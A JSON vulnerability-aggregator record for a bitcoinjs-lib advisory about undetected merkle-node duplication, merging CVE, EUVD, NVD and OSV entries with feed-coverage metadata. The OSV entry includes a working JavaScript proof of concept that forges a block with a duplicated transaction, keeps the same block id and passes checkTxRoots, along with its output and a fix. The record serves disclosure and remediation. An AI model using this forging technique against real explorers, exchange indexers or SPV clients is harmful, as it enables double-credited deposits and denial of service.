{"id":"GHSA-8vv3-6qpc-gpw6","revision":null,"records":[{"revision":"aa90abb2db024ce1b57b6a2fdbc3308e","observedAt":"2026-11-09T18:02:10.793+00:00","statement":{"source":"cve-program","id":"CVE-2026-107846","aliases":[],"title":"bitcoinjs-lib: Undetected merkle node duplication in block root computation validates a forged transaction list","description":"bitcoinjs-lib is a JavaScript Bitcoin library for Node.js and browsers. From 2.3.0 until 5.2.1, 6.1.8, and 7.0.2, fastMerkleRoot pads odd Merkle-tree levels by hashing the final node with itself but does not report adjacent duplicate hashes. The affected block-root verifier was introduced as Block.checkMerkleRoot() alongside Block.calculateMerkleRoot(), while later versions expose validation through checkTxRoots() and __checkMerkleRoot; these validation paths can accept a recomputed root without checking for mutation. A peer can append duplicate transactions so a different transaction list retains the original Merkle root, block header, proof of work, and block identifier. Consumers that rely on block-root validation, including explorers, exchange indexers, or SPV clients, can process a duplicated transaction twice or blacklist the shared block hash and reject the honest block. This issue is fixed in versions 5.2.1, 6.1.8, and 7.0.2.","state":0,"publishedAt":"2026-11-04T19:02:39.453+00:00","modifiedAt":"2026-11-09T16:50:02.565+00:00","affected":[{"ecosystem":"Vendor product","name":"bitcoinjs-lib","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"bitcoinjs\",\n                    \"product\": \"bitcoinjs-lib\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 2.3.0, < 5.2.1\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 6.0.0, < 6.1.8\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 7.0.0-rc.0, < 7.0.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:H/SA:H","score":9.3,"severity":"CRITICAL"}],"references":["https://github.com/bitcoinjs/bitcoinjs-lib/security/advisories/GHSA-8vv3-6qpc-gpw6","https://github.com/bitcoinjs/bitcoinjs-lib/commit/009f165edfbf925cad8964b2dce478d18dd19449","https://github.com/bitcoinjs/bitcoinjs-lib/commit/b79c7714c0687473dc6e25c69fc5fc597302c7a0","https://github.com/bitcoinjs/bitcoinjs-lib/commit/f3434d1e4bb5e0784fe769c4cd08a243576232a1"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-107846","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-107846","identifiers":["CVE-2026-107846"]},"retained":false,"historicalAffected":[]},{"revision":"08ce2fbb2bb54e36ac323bf23afcc778","observedAt":"2026-11-14T17:37:42.219+00:00","statement":{"source":"euvd","id":"EUVD-2026-117051","aliases":["CVE-2026-107846","GHSA-8vv3-6qpc-gpw6"],"title":"bitcoinjs-lib is a JavaScript Bitcoin library for Node.js and browsers. From 2.3.0 until 5.2.1, 6.1.8, and 7.0.2, fastMerkleRoot pads odd Merkle-tree levels by hashing the final node with itself but does not report adjacent duplicate hashes…","description":"bitcoinjs-lib is a JavaScript Bitcoin library for Node.js and browsers. From 2.3.0 until 5.2.1, 6.1.8, and 7.0.2, fastMerkleRoot pads odd Merkle-tree levels by hashing the final node with itself but does not report adjacent duplicate hashes. The affected block-root verifier was introduced as Block.checkMerkleRoot() alongside Block.calculateMerkleRoot(), while later versions expose validation through checkTxRoots() and __checkMerkleRoot; these validation paths can accept a recomputed root without checking for mutation. A peer can append duplicate transactions so a different transaction list retains the original Merkle root, block header, proof of work, and block identifier. Consumers that rely on block-root validation, including explorers, exchange indexers, or SPV clients, can process a duplicated transaction twice or blacklist the shared block hash and reject the honest block. This issue is fixed in versions 5.2.1, 6.1.8, and 7.0.2.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:H/SA:H","score":9.3,"severity":null}],"references":["https://github.com/bitcoinjs/bitcoinjs-lib/security/advisories/GHSA-8vv3-6qpc-gpw6","https://github.com/bitcoinjs/bitcoinjs-lib/commit/009f165edfbf925cad8964b2dce478d18dd19449","https://github.com/bitcoinjs/bitcoinjs-lib/commit/b79c7714c0687473dc6e25c69fc5fc597302c7a0","https://github.com/bitcoinjs/bitcoinjs-lib/commit/f3434d1e4bb5e0784fe769c4cd08a243576232a1"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-117051","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Nov 4, 2026, 7:02:39 PM","dateUpdated":"Nov 9, 2026, 4:50:02 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-117051","identifiers":["EUVD-2026-117051","CVE-2026-107846","GHSA-8vv3-6qpc-gpw6"]},"retained":false,"historicalAffected":[]},{"revision":"e9b905e810e34bc68ee8eed49e312bff","observedAt":"2026-11-14T17:37:13.889+00:00","statement":{"source":"nvd","id":"CVE-2026-107846","aliases":[],"title":"bitcoinjs-lib is a JavaScript Bitcoin library for Node.js and browsers. From 2.3.0 until 5.2.1, 6.1.8, and 7.0.2, fastMerkleRoot pads odd Merkle-tree levels by hashing the final node with itself but does not report adjacent duplicate hashes…","description":"bitcoinjs-lib is a JavaScript Bitcoin library for Node.js and browsers. From 2.3.0 until 5.2.1, 6.1.8, and 7.0.2, fastMerkleRoot pads odd Merkle-tree levels by hashing the final node with itself but does not report adjacent duplicate hashes. The affected block-root verifier was introduced as Block.checkMerkleRoot() alongside Block.calculateMerkleRoot(), while later versions expose validation through checkTxRoots() and __checkMerkleRoot; these validation paths can accept a recomputed root without checking for mutation. A peer can append duplicate transactions so a different transaction list retains the original Merkle root, block header, proof of work, and block identifier. Consumers that rely on block-root validation, including explorers, exchange indexers, or SPV clients, can process a duplicated transaction twice or blacklist the shared block hash and reject the honest block. This issue is fixed in versions 5.2.1, 6.1.8, and 7.0.2.","state":0,"publishedAt":"2026-11-04T19:17:18.13+00:00","modifiedAt":"2026-11-12T20:04:52.377+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":9.3,"severity":"CRITICAL"}],"references":["https://github.com/bitcoinjs/bitcoinjs-lib/commit/009f165edfbf925cad8964b2dce478d18dd19449","https://github.com/bitcoinjs/bitcoinjs-lib/commit/b79c7714c0687473dc6e25c69fc5fc597302c7a0","https://github.com/bitcoinjs/bitcoinjs-lib/commit/f3434d1e4bb5e0784fe769c4cd08a243576232a1","https://github.com/bitcoinjs/bitcoinjs-lib/security/advisories/GHSA-8vv3-6qpc-gpw6"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107846","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-354"],"productCriteria":[],"sourceDates":{"published":"2026-11-04T19:17:18.130","lastModified":"2026-11-12T20:04:52.377"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-107846","identifiers":["CVE-2026-107846"]},"retained":false,"historicalAffected":[]},{"revision":"1762880e366a4c6082f9eef0e64dda88","observedAt":"2026-11-10T16:21:51.228+00:00","statement":{"source":"osv","id":"GHSA-8vv3-6qpc-gpw6","aliases":["CVE-2026-107846"],"title":"bitcoinjs-lib: Undetected merkle node duplication in block root computation validates a forged transaction list","description":"### Summary\n`fastMerkleRoot` pads an odd level by hashing the last node with itself. It does not report that it did so, and `checkTxRoots` never looks for repeated transactions. A peer can therefore duplicate transactions to fill the pad and produce a block with a different transaction list but the same merkle root. The block hash and block id do not change, so the header still carries valid proof of work. In the proof of concept a real mainnet block goes from nine transactions to ten, and separately to twelve, with the same id every time, and `checkTxRoots` accepts all three. Bitcoin Core rejects this case through the `mutated` flag in `ComputeMerkleRoot` and the `bad-txns-duplicate` reason in `CheckBlock`. This is CVE-2012-2459.\n\n### Details\nA bitcoin merkle tree pads an odd level by hashing the last node with itself. Duplicating transactions to fill that pad therefore yields the same root for a different transaction list. This is CVE-2012-2459. Bitcoin Core detects it in `ComputeMerkleRoot`, which scans each level for two adjacent equal hashes before padding and raises a `mutated` flag when it finds a pair, and `CheckBlock` then rejects the block with `bad-txns-duplicate`.\n\n```cpp\nuint256 ComputeMerkleRoot(std::vector<uint256> hashes, bool* mutated) {\n    bool mutation = false;\n    while (hashes.size() > 1) {\n        if (mutated) {\n            for (size_t pos = 0; pos + 1 < hashes.size(); pos += 2) {\n                if (hashes[pos] == hashes[pos + 1]) mutation = true;\n            }\n        }\n        if (hashes.size() & 1) {\n            hashes.push_back(hashes.back());\n        }\n        ...\n```\n\nThe forged block carries the duplicate in its own transaction list, so the pair is present at a level and the flag is raised. The honest block has no such pair and is unaffected.\n\n`fastMerkleRoot` performs the duplication and reports nothing.\n\n```js\nwhile (length > 1) {\n  let j = 0;\n  for (let i = 0; i < length; i += 2, ++j) {\n    const left = results[i];\n    const right = i + 1 === length ? left : results[i + 1];\n    const data = tools.concat([left, right]);\n    results[j] = digestFn(data);\n  }\n  length = j;\n}\nreturn results[0];\n```\n\n`Block.calculateMerkleRoot` returns that value unchanged, and `__checkMerkleRoot` only compares it to the header field.\n\n```js\nprivate __checkMerkleRoot(): boolean {\n  if (!this.transactions) throw errorMerkleNoTxes;\n  const actualMerkleRoot = Block.calculateMerkleRoot(this.transactions);\n  return tools.compare(this.merkleRoot!, actualMerkleRoot) === 0;\n}\n```\n\nNothing anywhere in `ts_src` looks for an adjacent duplicate pair or for a repeated txid. `checkTxRoots` is the library's advertised block integrity gate and it inherits the gap.\n\n### PoC\n```js\nimport { createRequire } from 'module';\nconst require = createRequire(import.meta.url);\nimport { Block } from 'bitcoinjs-lib/src/block';\nconst fs = require('fs');\nconst hex = (u) => Buffer.from(u).toString('hex');\n\n// Real mainnet block, from the Bitcoin Core vector set shipped in this repo.\nconst f = JSON.parse(fs.readFileSync(\n  'test/fixtures/core/blocks.json', 'utf8'))[0];\n\nconst honest = Block.fromHex(f.hex);\nconsole.log('honest block id       :', honest.getId());\nconsole.log('id matches fixture    :', honest.getId() === f.id);\nconsole.log('transactions          :', honest.transactions.length);\nconsole.log('merkle root           :', hex(honest.merkleRoot));\nconsole.log('checkTxRoots()        :', honest.checkTxRoots());\nconsole.log('serialized bytes      :', honest.toBuffer().length);\n\n// Attacker duplicates the last transaction and relays the result.\nconst forged = Block.fromHex(f.hex);\nforged.transactions = forged.transactions.concat([\n  forged.transactions[forged.transactions.length - 1],\n]);\n// Round trip through the real parser, exactly as a P2P block message arrives.\nconst parsed = Block.fromHex(forged.toHex());\n\nconsole.log('');\nconsole.log('forged block id       :', parsed.getId());\nconsole.log('transactions          :', parsed.transactions.length);\nconsole.log('merkle root           :', hex(parsed.merkleRoot));\nconsole.log('recomputed merkle root:', hex(Block.calculateMerkleRoot(parsed.transactions)));\nconsole.log('checkTxRoots()        :', parsed.checkTxRoots());\nconsole.log('serialized bytes      :', parsed.toBuffer().length);\n\nconst ids = parsed.transactions.map((t) => t.getId());\nconsole.log('');\nconsole.log('same block id                 :', honest.getId() === parsed.getId());\nconsole.log('different serialized bytes    :', honest.toHex() !== parsed.toHex());\nconsole.log('different transaction lists   :', honest.transactions.length !== parsed.transactions.length);\nconsole.log('duplicate txid inside forged  :', new Set(ids).size !== ids.length);\nconsole.log('both accepted by checkTxRoots :', honest.checkTxRoots() && parsed.checkTxRoots());\n```\n\nOutput on bitcoinjs-lib v7.0.1:\n\n```\nhonest block id       : 0000000000013b8ab2cd513b0261a14096412195a72a0c4827d229dcc7e0f7af\nid matches fixture    : true\ntransactions          : 9\nmerkle root           : 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f\ncheckTxRoots()        : true\nserialized bytes      : 3054\n\nforged block id       : 0000000000013b8ab2cd513b0261a14096412195a72a0c4827d229dcc7e0f7af\ntransactions          : 10\nmerkle root           : 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f\nrecomputed merkle root: 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f\ncheckTxRoots()        : true\nserialized bytes      : 3313\n\nsame block id                 : true\ndifferent serialized bytes    : true\ndifferent transaction lists   : true\nduplicate txid inside forged  : true\nboth accepted by checkTxRoots : true\n```\n\nThe honest block is the control. It is a genuine mainnet block whose id matches the fixture and which validates. The forged block carries a different transaction list and 259 more bytes, yet produces the identical root and id and is also accepted.\n\n### Impact\nMost real blocks reach an odd node count at some level, so most are rewritable. Any peer can relay a mutated copy of a block that already exists on chain. No mining is required, because the header never changes. An explorer, exchange indexer or SPV client that gates on `checkTxRoots` sees the duplicated transaction twice and can credit the same deposit twice. A consumer that responds by blacklisting the block hash then rejects the honest block as well, which is the chain split denial of service described in the original CVE. Severity depends on the consumer, since block validation is a smaller part of this library's use than transaction handling. Bitcoin Core's rejection is taken from its published `ComputeMerkleRoot` and `CheckBlock` source rather than executed against a running node. The fix is to scan each level for two adjacent equal hashes and to return false from `checkTxRoots` when a pair is found, matching the `mutated` output parameter Core threads from `ComputeMerkleRoot` into `CheckBlock`.\n\n### Fix\n\nReport the padding case out of the root computation and act on it.\n\n```js\nexport function fastMerkleRoot(\n  values: Uint8Array[],\n  digestFn: (b: Uint8Array) => Uint8Array,\n  mutated?: { value: boolean },\n): Uint8Array {\n  ...\n  while (length > 1) {\n    let j = 0;\n    for (let i = 0; i < length; i += 2, ++j) {\n      const left = results[i];\n      const right = i + 1 === length ? left : results[i + 1];\n      if (i + 1 < length && tools.compare(left, right) === 0 && mutated)\n        mutated.value = true;\n      results[j] = digestFn(tools.concat([left, right]));\n    }\n    length = j;\n  }\n  return results[0];\n}\n```\n\nThread the flag through `Block.calculateMerkleRoot` and have `__checkMerkleRoot` return false when it is set, so a block containing an adjacent duplicate pair at any level is rejected the way `CheckBlock` rejects it with `bad-txns-duplicate`. Rejecting any block that contains a repeated txid gives the same result and is simpler to audit.\n\n### Affected versions\n\n- Versions 2.3.0 through 5.2.0.\n- Versions 6.0.0 through 6.1.7, including 6.1.0-rc.0.\n- Versions 7.0.0-rc.0 through 7.0.1.\n\nThe affected block-root verifier was introduced in 2.3.0 as `Block.checkMerkleRoot()`, alongside `Block.calculateMerkleRoot()`. Later versions expose block-root validation through `Block.checkTxRoots()`.\n\n### Remediation\n\nUpgrade to bitcoinjs-lib 5.2.1, 6.1.8 or 7.0.2, or a later patched release on the corresponding line. Versions below v5 have no in-line patch and require upgrading to a fixed line.\n\nThe fix detects adjacent equal hashes at each level before odd-node padding and makes block-root validation reject mutated transaction trees.","state":0,"publishedAt":"2026-11-10T15:57:25+00:00","modifiedAt":"2026-11-10T16:15:05.9483375+00:00","affected":[{"ecosystem":"npm","name":"bitcoinjs-lib","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.3.0"},{"kind":"fixed","version":"5.2.1"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"bitcoinjs-lib","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"6.0.0"},{"kind":"fixed","version":"6.1.8"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"bitcoinjs-lib","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"7.0.0-rc.0"},{"kind":"fixed","version":"7.0.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:H/SA:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/bitcoinjs/bitcoinjs-lib/security/advisories/GHSA-8vv3-6qpc-gpw6","https://nvd.nist.gov/vuln/detail/CVE-2026-107846","https://github.com/bitcoinjs/bitcoinjs-lib/commit/009f165edfbf925cad8964b2dce478d18dd19449","https://github.com/bitcoinjs/bitcoinjs-lib/commit/b79c7714c0687473dc6e25c69fc5fc597302c7a0","https://github.com/bitcoinjs/bitcoinjs-lib/commit/f3434d1e4bb5e0784fe769c4cd08a243576232a1","https://github.com/bitcoinjs/bitcoinjs-lib"],"sourceUrl":"https://github.com/advisories/GHSA-8vv3-6qpc-gpw6","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-8vv3-6qpc-gpw6","identifiers":["GHSA-8vv3-6qpc-gpw6","CVE-2026-107846"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T17:43:57.7477261+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T17:43:57.7477261+00:00","lastSuccessAt":"2026-11-15T17:43:57.9319367+00:00","error":null,"lastVerifiedAt":"2026-11-15T17:43:57.9319376+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-85332baa2a2fe51044c7b11e74168cdf9ea3251563b394940fa4249a4ab5eea5","complete":true,"records":425838,"lastAttemptAt":"2026-11-15T17:43:56.7045831+00:00","lastSuccessAt":"2026-11-15T17:43:56.6887608+00:00","error":null,"lastVerifiedAt":"2026-11-15T17:43:56.7045831+00:00","snapshotPublishedAt":"2026-11-15T17:26:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-b236bb13999347ce987e1ca186c5d1f1","complete":false,"records":13821,"lastAttemptAt":"2026-11-15T17:54:40.0701718+00:00","lastSuccessAt":"2026-11-15T17:54:40.063+00:00","error":"54 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-15T17:54:40.063+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13820,"expectedIdentifiers":13874,"failedIdentifiers":54},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T17:43:57.7477261+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T17:43:57.7477261+00:00","lastSuccessAt":"2026-11-15T17:43:57.9327717+00:00","error":null,"lastVerifiedAt":"2026-11-15T17:43:57.9327718+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-31b467d979fb43bea77e4ea73320cf71","complete":true,"records":13833,"lastAttemptAt":"2026-11-15T17:44:08.5219832+00:00","lastSuccessAt":"2026-11-15T17:44:08.513+00:00","error":null,"lastVerifiedAt":"2026-11-15T17:44:08.513+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T17:43:57.6786653+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T17:43:57.6786653+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T17:43:57.373573+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T17:43:57.373573+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-6086d649bcb454cdf302d7d9275177bda73550e1b6e446b3520e9b6266d3582c","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T17:43:57.6970901+00:00","lastSuccessAt":"2026-11-15T11:05:17.1034234+00:00","error":null,"lastVerifiedAt":"2026-11-15T17:43:57.6970901+00:00","snapshotPublishedAt":"2026-11-15T10:03:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-ff18f36f13fcca3a20a3fb9274b59b8872d18869a99071730e1e79b625c8f612","complete":true,"records":232475,"lastAttemptAt":"2026-11-15T17:43:57.5611113+00:00","lastSuccessAt":"2026-11-15T11:05:10.4195883+00:00","error":null,"lastVerifiedAt":"2026-11-15T17:43:57.5611113+00:00","snapshotPublishedAt":"2026-11-15T10:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}